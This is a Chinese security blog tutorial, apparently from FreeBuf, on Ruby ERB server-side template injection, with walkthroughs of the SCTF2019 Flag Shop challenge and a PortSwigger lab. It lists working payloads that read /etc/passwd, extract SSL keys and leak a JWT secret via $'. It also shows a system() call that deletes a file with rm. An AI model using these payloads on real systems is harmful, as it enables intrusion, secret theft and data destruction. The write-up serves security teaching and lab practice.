freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

关于Ruby模板的那些事
2023-05-21 03:34:08
所属地 广东省

关于Ruby的安全小问题,这里主要探讨其模板注入。

前言

在web应用中,模板的存在不可或缺,很多客户端和服务端也会用到不同语言的模板引擎

1) 客户端模板引擎:主要结合js实现html,一种是常规字符串模板引擎,包括doT.js、dust.js、mustache.js;另一种是Dom模板引擎,包括vue.js、Angular.js、React.js等。

2) 服务端模板引擎:由各服务端语言生成html返回客户端,主要包括:

PHP:Smarty、Twig;

Java:Freemarker、Velocity;

Python:Jinja2、Tornado、Marko;

Ruby:Slim、ERB;

NodeJS:Jade等

模板注入与SQL注入有其类似之处,同作为一种注入攻击,在某些特定场景可能会产生有趣的结果

在本文,主要学习ruby的ERB模板,其易于学习的特质也使其广泛应用于各服务端模板

Ruby-ERB模板注入

ERB属于Ruby标准库中的东西,其语法相较而言比较简单,Ruby On Rails就是使用ERB作为创建文件的模板

我们作为攻击者,基本方法是先识别模板引擎,枚举可访问的类/方法,最后利用它们来获取所需的操作,该操作可以是读取或写入文件、命令执行或其他操作

ERB基本语法

我们主要需要学习的模板写法有二

  • <%写逻辑脚本(Ruby语法)%>

  • <%=直接输出变量值或运算结果%>

require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 5
puts erb_object.result(binding())
x = 4
puts erb_object.result(binding())

image

如果x可控,即可实现常见的ssti

require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7*7
puts erb_object.result(binding())

image

还可以进行文件读取

require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = File.open('test').read
puts erb_object.result(binding())

image

枚举当前类的可用方法

require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = self.methods
puts erb_object.result(binding())

image

Ruby全局变量

Ruby全局变量中文释义
$!错误信息
$@错误发生的位置
$0正在执行的程序的名称
$&成功匹配的字符串
$/输入分隔符,默认为换行符
$\输出记录分隔符(print和IO)
$.上次读取的文件的当前输入行号
$; $-F默认字段分隔符
$,输入字符串分隔符,连接多个字符串时用到
$=不区分大小写
$~最后一次匹配数据
$`最后一次匹配前的内容
$’最后一次匹配后的内容
$+最后一个括号匹配内容
$1~$9各组匹配结果
$< ARGF命令行中给定的文件的虚拟连接文件(如果未给定任何文件,则从$stdin)
$>打印的默认输出
$_从输入设备中读取的最后一行
$* ARGV命令行参数
$$运行此脚本的Ruby的进程号
$?最后执行的子进程的状态
$: $-I加载的二进制模块(库)的路径
$“数组包含的需要加载的库的名字
$DEBUG $-d调试标志,由-d开关设置
$LOADED_FEATURES$“的别名
$FILENAME来自$<的当前输入文件
$LOAD_PATH$:
$stderr当前标准误差输出
$stdin当前标准输入
$stdout当前标准输出
$VERBOSE $-v详细标志,由-w或-v开关设置
$-0$/
$-a只读
$-i在in-place-edit模式下,此变量保存扩展名
NIL0本身
ENV当前环境变量
RUBY_VERSIONRuby版本
RUBY_RELEASE_DATE发布日期
RUBY_PLATFORM平台标识符

一些常用payload

<%= 7 * 7 %>
<%= File.open(‘/etc/passwd’).read %>
<%= self %>    //枚举该对象可用的属性及方法
<%= self.class.name %>   //获取self对象的类名
<%= self.methods %>
<%= self.method(:handle_POST).parameters %>  //获取目标所需的具体参数
<%= session.class.name %>
<%= self.instance_variables %>
<% ssl=@server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variables %>
<% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %>   //提取key值

靶场演示

  • [SCTF2019]Flag Shop

/filebak

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

我们可以判断出主要的漏洞点在于以下代码中

image

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
en

我们是想得到jwt的secret

而在这段代码我们可以看到,ERB会对传入密钥进行正则匹配且对于其存在一个字数限制,当传入的参数do和params相等的话会弹出#{params[:name][0,7]} working successfully!')</script>

而在ruby的全局变量中,存在这么一个全局变量:$’-- 最后一次匹配后的内容,所以我们就可以利用这个对匹配的字符进行读取得到secret

payload

work?SECRET=&name=<%=$'%>&do=<%=$'%> is working

image

得到secret

后续进行伪造即可,难度不高,网上wp详细

还有另外一种解法,即利用HTTP参数传递类型的差异进行绕过,详见http://mon0dy.top/2022/04/04/Ruby ERB模板注入/#sctf2019flag-shop

这里用portswigger的靶场深入了解一下ERB模板注入

我们可以看到,当我们尝试查看有关第一个产品的更多详细信息时,GET请求会使用message参数,并把其内容“Unfortunately this product is out of stock"在主页上打印出来

image

而在ERB模板文档中,存在这么一个用法

<%= someExpression %>用于评估表达式并将结果呈现在页面上

所以我们不妨尝试一下,看他能不能把我们想要的打印出来

<%=7*7%>

image

七七四十九,很明显是可以打印出来的,那么我们就知道这message参数我们是可控的,这里就存在ERB模板注入问题

而在ERB文档中,依旧存在我们喜闻乐见的system()函数

image

那么我们不妨whoami一下看看

image

确实可以运行,当前用户为carlos

那么这道题目解决就需要删除特定文件morale.txt即可,根据题目与目录翻找得到文件路径

/home/carlos/morale.txt

image

删除文件

<%=system("rm%20/home/carlos/morale.txt")%>

image

后言

与常见的ssti一致,都需先识别模板引擎,枚举可访问的类/方法,最后利用它们来获取所需的操作进行读取或写入文件、命令执行或其他操作,而其可以执行的操作由可用的类方法/函数可以执行的操作决定,所需要注意防范的点也多在于这些点上,尤其对于敏感信息的泄露问题,需多加注意

# web安全 # ruby # ruby安全 # CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录